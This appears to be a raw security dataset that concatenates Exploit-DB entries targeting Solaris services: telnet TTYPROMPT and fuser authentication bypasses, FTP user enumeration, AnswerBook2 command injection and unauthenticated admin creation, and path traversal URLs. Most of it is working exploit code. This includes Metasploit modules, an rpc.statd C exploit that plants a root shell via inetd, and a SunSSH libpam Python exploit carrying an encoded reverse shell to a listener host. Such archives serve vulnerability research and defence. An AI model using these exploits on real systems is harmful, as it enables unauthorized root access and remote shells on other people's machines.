deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20745
Description: Solaris 2.6/7.0 - IN.FTPD CWD 'Username' Enumeration
Type: remote
Platform: solaris
Date: 2001-04-11
Author: Johnny Cyberpunk

Exploit:
source: https://www.securityfocus.com/bid/2564/info

Solaris is the variant of the UNIX Operating System distributed by Sun Microsystems. Solaris is a versatile operating system designed for use with machines as small as desktop systems and as large as enterprise systems.

A problem with the ftp daemon included with the Solaris Operating Environment could allow remote users to gain access to names of valid user accounts. Prior to logging in, while in.ftpd is still negotiating the session, it is possible to present a request for a change of working directory (CWD) to the ftp daemon. If the account is valid, the daemon will issue a request for login and password. If not, the daemon returns an error message stating that the login name is not valid.

Therefore, it is possible for a remote user to gather the names of local users on a Solaris system with ftp services. This may lead to spamming, or further compromise. 

nc vulnerable.host 21
220 gsmms0 FTP server (SunOS 5.6) ready.
cwd ~netadm
530 Please login with USER and PASS.
cwd ~xyz
530 Please login with USER and PASS.
550 Unknown user name after ~
Exploit-DB #57
Description: Solaris 2.6/7/8 - 'TTYPROMPT in.telnet' Remote Authentication Bypass
Type: remote
Platform: solaris
Date: 2002-11-02
Author: Jonathan S.

Exploit:
Solaris TTYPROMPT Security Vulnerability (Telnet)

This vulnerability is very simple to exploit, since it does not require 
any code to be compiled by an attacker. The vulnerability only requires 
the attacker to simply define the environment variable TTYPROMPT to a 
6-character string, inside telnet. Jonathan believes this overflows an 
integer inside login, which specifies whether the user has been 
authenticated (just a guess).

Once connected to the remote host, you must type the username, followed 
by 64 " c"s, and a literal "\n". You will then be logged in as the user 
without any password authentication. This should work with any account 
except root (unless remote root login is allowed). 

Example: 
coma% telnet 
telnet> environ define TTYPROMPT abcdef 
telnet> o localhost 

SunOS 5.8 

bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n 
Last login: whenever 
$ whoami bin 

# milw0rm.com [2002-11-02]
Exploit-DB #21097
Description: Solaris 2.x/7.0/8 LPD - Remote Command Execution
Type: remote
Platform: solaris
Date: 2001-08-31
Author: ron1n

Exploit:
source: https://www.securityfocus.com/bid/3274/info

The print protocol daemon, 'in.lpd' (or 'lpd'), shipped with Solaris may allow for remote attackers to execute arbitrary commands on target hosts with superuser privileges.

The alleged vulnerability is not the buffer overflow discovered by ISS.

It has been reported that it is possible to execute commands on target hosts through lpd by manipulating the use of sendmail by the daemon.

If this vulnerability is successfully exploited, remote attackers can execute any command on the target host with superuser privileges.

This vulnerability is very similar to one mentioned in NAI advisory NAI-0020.

NOTE: It has been reported that a valid printer does NOT need to be configured to exploit this vulnerability.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21097.tar.gz
Exploit-DB #19236
Description: Solaris 7.0 - 'Coredump' File Write
Type: remote
Platform: solaris
Date: 1996-08-03
Author: Jungseok Roh

Exploit:
source: https://www.securityfocus.com/bid/296/info

There is a vulnerability in the way Solaris 2.4 pre Jumbo Kernel Patch -35 (for SPARC) dumps core files. Under normal operation the operating system writes out a core image of a process when it is terminated due to the receipt of some signals. The core image is called core and is written in the process's working directory (provided it can be; normal access controls apply). A process with an effective user ID different from the real user ID will not produce a core image.

The problem in this instance is that because certian directories under Solaris 2.4 are 'group bin' writable you can force programs which are in the bin group to dump core. Then by using a symlink attack you can overwrite files in directories owned by bin. A series of system critical directories under Solaris 2.4 are writable by group bin.

What follows is an example attack, slightly modified from the origanal Bugtraq posting.

[cosmos:beren] uname -a
SunOS cosmos 5.4 Generic_101945-32 sun4m sparc
[cosmos:beren] ls -ald /etc
$)C
8 drwxrwxr-x 25 root sys 3584 7 ?y 25 @O 18:46 /etc/
[cosmos:beren] ls -ald /usr
2 drwxrwxr-x 30 root sys 1024 7 ?y 5 @O 17:26 /usr/
[cosmos:beren] ls -ald /usr/sbin
10 drwxrwxr-x 4 root bin 4608 5 ?y 18 @O 03:38 /usr/sbin/
[cosmos:beren] ls -ald /usr/sbin
10 drwxrwxr-x 4 root bin 4608 5 ?y 18 @O 03:38 /usr/sbin/

*NOTE* These directories are group bin writable.

[cosmos:beren] find /usr -perm -2000 \( -group sys -o -group bin \) ls

*NOTE* Here we look for programs which are in group bin so we can force them to dump core.

[cosmos:beren] ls -al /usr/sbin/dmesg
12 -r-xr-sr-x 1 bin sys 5520 1994 Jul 15 /usr/sbin/dmesg*

*NOTE* Here we identify dmesg(8) as being in the 'bin' group.

[cosmos:beren] ln -s /etc/SOMETHING core
[cosmos:beren] stty ^\^[cosmos:beren] pwd
/tmp
[cosmos:beren] dmesg
/* then slightly after u type this command kill it . using stty ^\^ there comes the following results */
^C (Core dumped)
[comos:beren] ls /etc/SOMETHING
SOMETHING


*NOTE* Here we link a random /etc/ file to core. In this instance we simply use SOMETHING as our random filename. You could just as easily use /etc/passwd.
Exploit-DB #20146
Description: Solaris AnswerBook2 - Remote Command Execution
Type: remote
Platform: solaris
Date: 2000-08-07
Author: Lluis Mora

Exploit:
source: https://www.securityfocus.com/bid/1556/info

A vulnerability exists in version 1.4.2 and prior of the AnswerBook2 server from Sun. It is possible for remote users who have administrative access to execute arbitrary commands on the machine running AnswerBook2. These commands will be executed with the privileges of user 'daemon'

One of the options you have while administering the AB2 is to rotate the
access and error logs. The server allows you to specify the target file 
where the logs will be rotated to. You can use ../../../../../this/file to
create and overwrite files outside the web server document root directory.
Further investigation showed that the server performs the following command
to rotate the server logs:

sh -c "cp /var/log/ab2/logs/original_log
/var/log/ab2/logs/USER_PROVIDED_TARGET" 

So an attacker could specify a destination log like "x ; uname -a" that will
translate to:

sh -c "cp /var/log/ab2/logs/original_log /var/log/abs/logs/x ; uname -a"
Exploit-DB #49896
Description: Solaris SunSSH 11.0 x86 - libpam Remote Root (2)
Type: remote
Platform: solaris
Date: 2021-05-21
Author: legend

Exploit:
# Exploit Title: Solaris SunSSH 11.0 x86 - libpam Remote Root (2)
# Original Exploit Author: Hacker Fantastic
# Metasploit Module Author: wvu 
# Vendor Homepage: https://www.oracle.com/solaris/technologies/solaris10-overview.html
# Version: 10
# Tested on: SunOS solaris 10
# CVE: CVE-2020-14871
# Ported By: legend

import socket
import paramiko
from time import sleep

payload = b"A"*516+ b"\x04\x39\xbb\xfe" + b"\x19\xf8\xf0\x14" + b"\x01\x01\x04\x08" + b"\x07\xba\x05\x08" + b"\xd0\x56\xbb\xfe" + b"\xdf\x1e\xc2\xfe" + b"\x8c\x60\xfe\x56" + b"\xf1\xe3\xc3\xfe"
payload+=b"python${IFS}-c${IFS}\""

# msfvenom -p python/shell_reverse_tcp -b "\x00\x09\x20" LHOST=192.168.1.2 LPORT=4444
payload+=b"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCBhcyBzCmltcG9ydCBzdWJwcm9jZXNzIGFzIHIKc289cy5zb2NrZXQocy5BRl9JTkVULHMuU09DS19TVFJFQU0pCnNvLmNvbm5lY3QoKCcxOTIuMTY4LjEuMicsNDQ0NCkpCndoaWxlIFRydWU6CglkPXNvLnJlY3YoMTAyNCkKCWlmIGxlbihkKT09MDoKCQlicmVhawoJcD1yLlBvcGVuKGQsc2hlbGw9VHJ1ZSxzdGRpbj1yLlBJUEUsc3Rkb3V0PXIuUElQRSxzdGRlcnI9ci5QSVBFKQoJbz1wLnN0ZG91dC5yZWFkKCkrcC5zdGRlcnIucmVhZCgpCglzby5zZW5kKG8pCg==')[0]))"
payload+=b"\""

print("Length => %d" % (len(payload)))
def inter_handler(title, instructions, prompt_list):
    resp = []  #Initialize the response container
    for pr in prompt_list:
        print(pr)
        if pr[0].startswith('Please enter user name:'):
            sleep(10) 
            resp.append(payload)
            print("Your payload is sended check your nc")
    return tuple(resp)

import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("192.168.1.2", 22))
ts = paramiko.Transport(sock)
ts.start_client(timeout=10)
ts.auth_interactive(username="", handler=inter_handler)
Exploit-DB #9917
Description: Solaris TelnetD - 'TTYPROMPT' Remote Buffer Overflow (1) (Metasploit)
Type: remote
Platform: solaris
Date: 2002-01-18
Author: MC

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Solaris in.telnetd TTYPROMPT Buffer Overflow',
			'Description'    => %q{
				This module uses a buffer overflow in the Solaris 'login'
			application to bypass authentication in the telnet daemon. 
			},
			'Author'         => [ 'MC', 'cazz' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2001-0797'],
					[ 'OSVDB', '690'],
					[ 'BID', '5531'],

				],
			'Privileged'     => false,
			'Platform'       => ['unix', 'solaris'],
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					'Space'    => 2000,
					'BadChars' => '',
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl telnet',
						}
				},
			'Targets'        => 
				[
					['Automatic', { }],
				],
			'DisclosureDate' => 'Jan 18 2002',
			'DefaultTarget' => 0))
			
			register_options(
				[
					Opt::RPORT(23),
					OptString.new('USER', [ true, "The username to use",     "bin" ]),
				], self.class)
	end

	def exploit
		connect
	
		banner = sock.get_once
		
		print_status('Setting TTYPROMPT...')
		
		req = 
			"\xff\xfc\x18" +
			"\xff\xfc\x1f" +
			"\xff\xfc\x21" +
			"\xff\xfc\x23" +
			"\xff\xfb\x22" +
			"\xff\xfc\x24" +
			"\xff\xfb\x27" +
			"\xff\xfb\x00" +
			"\xff\xfa\x27\x00" +
			"\x00TTYPROMPT" +
			"\x01" + 
			rand_text_alphanumeric(6) + 
			"\xff\xf0"	
		
		sock.put(req)
		sleep(0.25)
		
		print_status('Sending username...')
	
		filler = rand_text_alpha(rand(10) + 1)
 
		req << datastore['USER'] + (" #{filler}" * 65) 
		
		sock.put(req + "\n\n\n")

		sleep(0.25)
		sock.get_once
		
		sock.put(payload.encoded + "\n")

		sleep(0.25)
		
		handler
	end

end
Exploit-DB #16327
Description: Solaris TelnetD - 'TTYPROMPT' Remote Buffer Overflow (2) (Metasploit)
Type: remote
Platform: solaris
Date: 2010-06-22
Author: Metasploit

Exploit:
##
# $Id: ttyprompt.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Solaris in.telnetd TTYPROMPT Buffer Overflow',
			'Description'    => %q{
				This module uses a buffer overflow in the Solaris 'login'
			application to bypass authentication in the telnet daemon.
			},
			'Author'         => [ 'MC', 'cazz' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9583 $',
			'References'     =>
				[
					[ 'CVE', '2001-0797'],
					[ 'OSVDB', '690'],
					[ 'BID', '5531'],

				],
			'Privileged'     => false,
			'Platform'       => ['unix', 'solaris'],
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					'Space'    => 2000,
					'BadChars' => '',
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl telnet',
						}
				},
			'Targets'        =>
				[
					['Automatic', { }],
				],
			'DisclosureDate' => 'Jan 18 2002',
			'DefaultTarget' => 0))

			register_options(
				[
					Opt::RPORT(23),
					OptString.new('USER', [ true, "The username to use",     "bin" ]),
				], self.class)
	end

	def exploit
		connect

		banner = sock.get_once

		print_status('Setting TTYPROMPT...')

		req =
			"\xff\xfc\x18" +
			"\xff\xfc\x1f" +
			"\xff\xfc\x21" +
			"\xff\xfc\x23" +
			"\xff\xfb\x22" +
			"\xff\xfc\x24" +
			"\xff\xfb\x27" +
			"\xff\xfb\x00" +
			"\xff\xfa\x27\x00" +
			"\x00TTYPROMPT" +
			"\x01" +
			rand_text_alphanumeric(6) +
			"\xff\xf0"

		sock.put(req)
		select(nil,nil,nil,0.25)

		print_status('Sending username...')

		filler = rand_text_alpha(rand(10) + 1)

		req << datastore['USER'] + (" #{filler}" * 65)

		sock.put(req + "\n\n\n")

		select(nil,nil,nil,0.25)
		sock.get_once

		sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")

		select(nil,nil,nil,0.25)

		handler
	end

end
Exploit-DB #20144
Description: Sun AnswerBook2 1.4.2/1.4.3/1.4.4 - Administration Interface Access
Type: remote
Platform: solaris
Date: 2000-08-08
Author: Lluis Mora

Exploit:
source: https://www.securityfocus.com/bid/1554/info

A lack of authentication checks for certain scripts within the administration interface of AnswerBook2 versions 1.4.2 and prior, for Solaris, allows remote users to create administration accounts. By directly accessing the /cgi-bin/admin/admin script present under the AnswerBook2 dwhttpd web server, it is possible to add users to the administration interface. This will allow the attacker to read log files and manage content. 

http://www.example.com:8888/cgi-bin/admin/admin?command=add_user&uid=percebe&[CREDENTIAL_REDACTED]_[CREDENTIAL_REDACTED]"
Exploit-DB #21677
Description: Sun AnswerBook2 1.x - Unauthorized Administrative Script Access
Type: remote
Platform: solaris
Date: 2002-08-02
Author: ghandi

Exploit:
source: https://www.securityfocus.com/bid/5383/info

Sun Microsystems AnswerBook2 allows users to view Sun documentation through a web browser, and is available for Solaris.

AnswerBook2 includes an administrative web interface. Reportedly, it is possible to access these scripts without authorization, and add a new administrative user of the AnswerBook2 system. 

http://localhost:8888/ab2/@AdminViewError

http://localhost:8888/ab2/@AdminAddadmin?uid=foo&[CREDENTIAL_REDACTED]_password=bar
Exploit-DB #23272
Description: Sun Management Center 3.0/3.5 - Error Message Information Disclosure
Type: remote
Platform: solaris
Date: 2003-10-22
Author: Jon Hart

Exploit:
source: https://www.securityfocus.com/bid/8873/info

A problem in the handling of error messages has been identified in Sun Management Center. Because of this, an attacker may be able to gain sensitive information about vulnerable hosts. 

http://www.example.com:898/../../../../../tmp/.X11-unix
http://www.example.com:898/../../../../../.rhosts
http://www.example.com:898/../../../../../.ssh
http://www.example.com:898/../../../../../var/yp

These examples were return different error messages based on whether the requested resource exists or not.
Exploit-DB #5282
Description: Sun Solaris 10 - 'rpc.ypupdated' Remote Code Execution
Type: remote
Platform: solaris
Date: 2008-03-20
Author: kingcope

Exploit:
Sun Solaris <= 10 rpc.ypupdated Remote Root Exploit

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20259.tar.gz (2008-ypk2008.tar.gz)

# milw0rm.com [2008-03-20]
Exploit-DB #19327
Description: Sun Solaris 2.5.1 - rpc.statd rpc Call Relaying
Type: remote
Platform: solaris
Date: 1999-06-07
Author: anonymous

Exploit:
// source: https://www.securityfocus.com/bid/450/info

The rpc service rpc.statd, shipped with all major versions of Sun's solaris, is the status monitoring service for NFS file locking. The vulnerability lies in rpc.statd's ability to relay rpc calls to other rpc services without being validated by the access controls of the other rpc services. This can give the attacker the ability to redirect malicious rpc commands through rpc.statd (which runs as root) to services they may not normally have access to.

/* 
   Developed by some guys who don't want to goto jail when WIPO passes. :) */

/* Bug fixed on Aug 16 16:28:30 GMT 1998. */

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <rpcsvc/sm_inter.h>

void 
usage(char *s) 
{
  printf ("Cache name is the hostname of the remote system.\n");
  printf ("For example, blue.net, might be either blue or blue.net.\n\n");
  printf ("Usage: %s hostname <cachename> <command>\n", s);
  exit (0);
}

int
main (int argc, char *argv[]) 
{
  CLIENT *cl;
  enum clnt_stat stat;
  struct timeval tm;
  struct mon monreq;
  struct sm_stat_res monres;
  struct stat_chge ntf_arg;
  struct hostent *hp;
  struct sockaddr_in target;
  int sd;
 
  char attack[1024];

  if (argc < 3)
    usage(argv[0]);

  if (argc==4)
  	sprintf(attack, ";%s", argv[3]);
  else
	sprintf(attack, "; echo \"ingreslock stream tcp nowait root /bin/sh sh -i\" >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob &");
 
  memset(&monreq, 0, sizeof(monreq));

  monreq.mon_id.my_id.my_name = argv[2];		
  monreq.mon_id.my_id.my_prog = (unsigned long) 100099; 
  monreq.mon_id.my_id.my_vers = (unsigned long) 1;
  monreq.mon_id.my_id.my_proc = (unsigned long) 1;	
  monreq.mon_id.mon_name = attack;	
  monreq.priv[0] = '/';		

  memset(&ntf_arg, 0, sizeof(ntf_arg));

  ntf_arg.mon_name = attack;			
  ntf_arg.state = 1;					

  if ((hp = gethostbyname (argv[1])) == NULL) 
  {
    printf ("Couldnt resolve %s!\n", argv[1]);
    exit (-1);
  }

  target.sin_family = AF_INET;
  target.sin_addr.s_addr = *(u_long *)hp->h_addr;
  target.sin_port = 0;
  sd = RPC_ANYSOCK;

  tm.tv_sec = 10;
  tm.tv_usec = 0;

  if ((cl = clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) 
  {
    clnt_pcreateerror("clnt_create");
    exit (-1);
  }

  stat = clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
    (char *)&monres, tm);

  if (stat != RPC_SUCCESS)
    clnt_perror(cl, "clnt_call"); 
  else 
    printf("stat_res = %d.\n", monres.res_stat);

  stat=clnt_call(cl, SM_NOTIFY, xdr_stat_chge, (char *)&ntf_arg, xdr_void,
    NULL, tm);

  if (stat != RPC_SUCCESS)
    clnt_perror(cl, "clnt_call");

  clnt_destroy(cl);
  exit (0);
}
Exploit-DB #32393
Description: Sun Solaris 9/10 Text Editors - Command Execution
Type: remote
Platform: solaris
Date: 2008-09-17
Author: Eli the Bearded

Exploit:
source: https://www.securityfocus.com/bid/31229/info

Sun Solaris text editors are prone to a command-execution vulnerability.

An attacker may leverage this issue to execute arbitrary commands with the privileges of another user on the affected computer.

Sun Solaris 8, 9, and 10 are affected. 

$ echo "This is line 1" > file1
$ echo "file1line1<TAB>file1<TAB>:1|!touch gotcha" > tags
$ ls
file1   tags
$ vi -t file1line1
:q!
$ ls
file1   gotcha   tags
$
Exploit-DB #16328
Description: Sun Solaris Telnet - Remote Authentication Bypass (Metasploit)
Type: remote
Platform: solaris
Date: 2010-06-22
Author: Metasploit

Exploit:
##
# $Id: fuser.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Sun Solaris Telnet Remote Authentication Bypass Vulnerability',
			'Description'    => %q{
				This module exploits the argument injection vulnerabilty
				in the telnet daemon (in.telnetd) of Solaris 10 and 11.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9583 $',
			'References'     =>
				[
					[ 'CVE', '2007-0882' ],
					[ 'OSVDB', '31881'],
					[ 'BID', '22512' ],
				],
			'Privileged'     => false,
			'Platform'       => ['unix', 'solaris'],
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					'Space'    => 2000,
					'BadChars' => '',
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl telnet',
						}
				},
			'Targets'        =>
				[
					['Automatic', { }],
				],
			'DisclosureDate' => 'Feb 12 2007',
			'DefaultTarget' => 0))

			register_options(
				[
					Opt::RPORT(23),
					OptString.new('USER', [ true, "The username to use",     "bin" ]),
				], self.class)
	end

	def exploit
		connect

		print_status('Setting USER environment variable...')

		req =  "\xFF\xFD\x26\xFF\xFB\x26\xFF\xFD\x03\xFF\xFB"
		req << "\x18\xFF\xFB\x1F\xFF\xFB\x20\xFF\xFB\x21\xFF"
		req << "\xFB\x22\xFF\xFB\x27\xFF\xFD\x05"

		sock.put(req)
		sock.get_once

		req << "\xFF\xFC\x25"

		sock.put(req)
		sock.get_once

		req << "\xFF\xFA\x26\x01\x01\x02\xFF\xF0"

		sock.put(req)
		sock.get_once

		req << "\xFF\xFA\x1F\x00\x50\x00\x18\xFF\xF0"

		sock.put(req)
		sock.get_once

		req << "\xFF\xFE\x26\xFF\xFC\x23\xFF\xFC\x24"

		sock.put(req)
		sock.get_once

		req =  "\xFF\xFA\x18\x00\x58\x54\x45\x52\x4D\xFF"
		req << "\xF0\xFF\xFA\x27\x00\x00\x55\x53\x45\x52"
		req << "\x01\x2D\x66" + datastore['USER'] + "\xFF\xF0"

		sock.put(req)
		sock.get_once
		select(nil,nil,nil,0.25)

		sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")

		select(nil,nil,nil,0.25)

		handler
	end

end